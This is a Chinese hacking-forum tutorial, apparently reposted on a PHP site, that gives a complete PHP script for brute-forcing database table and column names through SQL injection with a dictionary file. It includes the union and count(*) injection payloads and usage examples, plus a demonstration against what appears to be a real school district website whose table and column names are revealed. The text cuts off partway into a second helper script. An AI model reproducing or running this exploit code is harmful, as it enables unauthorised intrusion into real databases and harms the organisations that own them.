PHP头条
热点:

do all things in php(注入利用程序编写)


文章作者:mika[EST]
信息来源:邪恶八进制信息安全团队

最近俺又迷恋上脚本了,嘿嘿~~~刚学完PHP然后又看了些PHP安全方面的文章,于是乎从google中找了几个站练习一下。
结果发现php猜表名和列名真的很费劲啊,nbsi这类的扫描工具有没有那种用字典或者暴力猜解表名和列名的功能,难不成还得自己一个一个猜啊?我很懒的:-)
突然想到自己不是刚刚学完PHP吗?为什么不学以致用呢?php不光是一个web脚本语言,它还是一个非常棒的命令行解释语言,用它写脚本好方便的哦。为了以后能够碰到这类问题省点劲俺就写了一个php脚本用来猜表和列名的。脚本写的很简单,内容如下:
 <?php
 echo " Universal Database tables explode exploit V0.1 ";
 echo " Written by Mika[EST] ";
 //$keyword="Warning";
 $keyword="error";
 switch($argc){
 case 3:
 $u=" and (select count(*) from MIKA_NAME)>0";
 $dic=$argv[2];
 break;
 case 4:
 $u=" and 1=1 union select ".implode(,,range(1,$argv[2]))." from MIKA_NAME#";
 $dic=$argv[3];
 break;
 case 5:
 if($argv[2]!="-t")
 exit("arguments Error");
 $u=" and (select count(MIKA_NAME) from $argv[3])>0#";
 $dic=$argv[4];
 break;
 case 6:
 if($argv[2]!="-t" || $argv[4]<1)
 exit("arguments Error");
 if($argv[4]>=2){
 $u=" and 1=1 union select ".MIKA_NAME.,.implode(,,range(2,$argv[4]))." from $argv[3]#";
 }else{
 $u=" and 1=1 union select MIKA_NAME from $argv[3]#";
 }
 $dic=$argv[5];
 break;
 default:
 echo <<<USAGE
 Usage:$argv[0] <URL> [OPTIONS] <dict file>
 OPTIONS: number --->to indicate column number of a table during a union query

 e.g:$argv[0] [url]http://www.aaa.com/bbb.asp?ccc=56[/url] 3 mydict.txt

 the url will be like:.../bbb.asp?ccc=56 and 1=2 union select 1,2,3 from admin

 OPTIONS: -t <table> [number] ---> to explode column name of the <table>

 e.g:$argv[0] [url]http://www.aaa.com/bbb.asp?ccc=56[/url] -t admin mydict.txt

 Attention:if you dont use [options] the program will use default mode to work.you can change it in the source code of this program.
 USAGE;
 die;
 }

 $old=$argv[1];
 file_exists($dic) or exit("dic file does not exist! ");
 $words=file($dic);
 $curl=curl_init();
 curl_setopt($curl,CURLOPT_HEADER,0);
 curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
 curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");
 print "[+]Searching What you want... ";
 foreach($words as $word){
 //print $word;
 if(preg_match("/^s$/",$word)){
 //print "blank";
 continue;
 }
 $url=str_replace(MIKA_NAME,trim($word),$u);
 $url=$old.urlencode($url);
 //$url=$old.$url;
 curl_setopt($curl,CURLOPT_URL,$url);
 //print "source url is:".$url." ";
 $content=curl_exec($curl);
 //$new=$content;
 //print $content;
 if(preg_match("/$keyword/i",$content)==0){
 print "[*] FOUND:".trim($word);
 }
 else{print ".";}
 }
 ?>
俺先解释一下吧:程序里用到的模块是curl,它用来获取网页内容是非常方便的。我的这个php是for windows的,所以里面集成了很多的模块。但是curl默认是不启用的,你需要开启它哦。方法很简单,去网上下载php最新版本的绿色版(不需要安装的,方便携带),然后将压缩包内的php.ini-recommended复制到系统目录(win2k是winnt目录,xp等的是windows目录)并将其改名为php.ini,然后用记事本打开,找到如下一行:
extension_dir =
把它的值设置成你自己的,比如把压缩包接压到了c:php里,那么你需要把它设置成:
extension_dir = "c:phpext"

然后再继续找到下面这段:
 ; Windows Extensions
 ; Note that ODBC support is built in, so no dll is needed for it.
 ; Note that many DLL files are located in the extensions/ (PHP 4) ext/ (PHP 5)
 ; extension folders as well as the separate PECL DLL download (PHP 5).
 ; Be sure to appropriately set the extension_dir directive.

 ;extension=php_mbstring.dll
 ;extension=php_bz2.dll
 ;extension=php_curl.dll
 ;extension=php_dba.dll
 ;extension=php_dbase.dll
 ;extension=php_exif.dll
 ;extension=php_fdf.dll
 ;extension=php_filepro.dll
 ;extension=php_gd2.dll
 ;extension=php_gettext.dll
 ;extension=php_ifx.dll
看到php_curl.dll了吗?把它前面的分号去掉就可以了。然后保存一下,还没完呢,再去php的目录里找到这两个文件:
libeay32.dll
ssleay32.dll

把他们复制到system32目录里就OK了。很简单吧?然后在环境变量里设置一下你的php的路径,这样在任何目录里就可以直接调用php.exe进行解析了。安装其它模块的步骤也类似,俺就不多说了:-)

言归正传,你通过上面几步就可以使用curl模块了。程序用法很简单,比如有注入的url是这样的:http://www.aaa.com/bbb.asp?ccc=56,你的字典文件在当前目录mydict.txt。那么本程序的使用方法就是:
php explode.php http://www.aaa.com/bbb.asp?ccc=56 mydict.txt

需要注意的就是,由于这个程序本来就是俺自己用的,所以程序没有考虑很多东西。程序是根据页面返回的内容进行判断的,所以呢,你要首先自己手工获取一下,比如你可以这样:
http://www.aaa.com/bbb.asp?ccc=56 and (select count(*) from mika520)>0(access和mssql上)
或者
http://www.aaa.com/bbb.asp?ccc=56 and 1=1 union select 1,2,3,4,5,6 from mika520%23 (mysql上)

其中的mika520是一个不存在的表,这样返回的页面后你可以察看源代码,随便找一个正确页面中不存在的语句作为关键字(nbsi等的注入工具默认是用正确页面里的东西作为判断的,俺和它反着来:-),然后把程序代码中第4行的$keyword的值换成你的关键字就可以了。比如下面这个站吧:
http://www.elkhart.k12.in.us/content.php?id=157

由于是php的所以你得用第二种方式来猜,即需要使用联合查询,所以先判断注入点存在不存在,然后使用order by判断字段数,我在这里判断的是5个字段,判断好后就可以使用我的这个程序来猜了,结果如下:
 F:scriptsphpmine>php forcetb1.php http://www.elkhart.k12.in.us/content.php?id
 =157 5 mydict.txt
 Universal Database tables explode exploit V0.1

 Written by Mika[EST]

 [+]Searching What you want...
 ...[*] FOUND:structure..........................................................
看到了吗?找到了一个表,呵呵。再来看看字段:
 F:scriptsphpmine>php forcetb1.php http://www.elkhart.k12.in.us/content.php?id
 =157 -t structure 5 temp.txt
 Universal Database tables explode exploit V0.1

 Written by Mika[EST]

 [+]Searching What you want...
 [*] FOUND:division......[*] FOUND:id.[*] FOUND:level.........[*] FOUND:title....
 ..[*] FOUND:content..[*] FOUND:parent_id.........
很简单吧?命令中的那个5就是你用order by猜出的字段数,换成实际中的就可以了。如果是access或者mssql的数据库,只要去掉那个字段数(即例子中的5)的参数就可以了。我就不多做演示了。

如果大家用得过程中出现问题可以自己去改代码,很简单的:-)

另外我这个程序默认是使用HTTP代理的,所以你需要修改这一行:
curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");

换成你的代理就好了,如果不需要代理那就直接注释掉好了。

其实猜嘛,关键还是看你的字典是不是够强大,你可以把你常见的字典组合一下就好了。比如NBSI和狂注幽灵等的字典拿过来,然后组成一个文件就是了。但是这两个字典有可能有很多重复的,为了节省不必要的猜解,需要去处重复的。我这里用php写了非常简单的程序可以帮助你去除重复行,如下:
 <?php

 if($argc!=2){
 echo <<<INFO
  Writte

www.phpzy.comtrue/phprm/40771.htmlTechArticledo all things in php(注入利用程序编写) 文章作者:mika[EST] 信息来源:邪恶八进制信息安全团队 最近俺又迷恋上脚本了,嘿嘿~~~刚学完PHP然后又看了些PHP安全方面的文章,于是乎从google中找...

相关文章

    暂无相关文章

PHP之友评论

今天推荐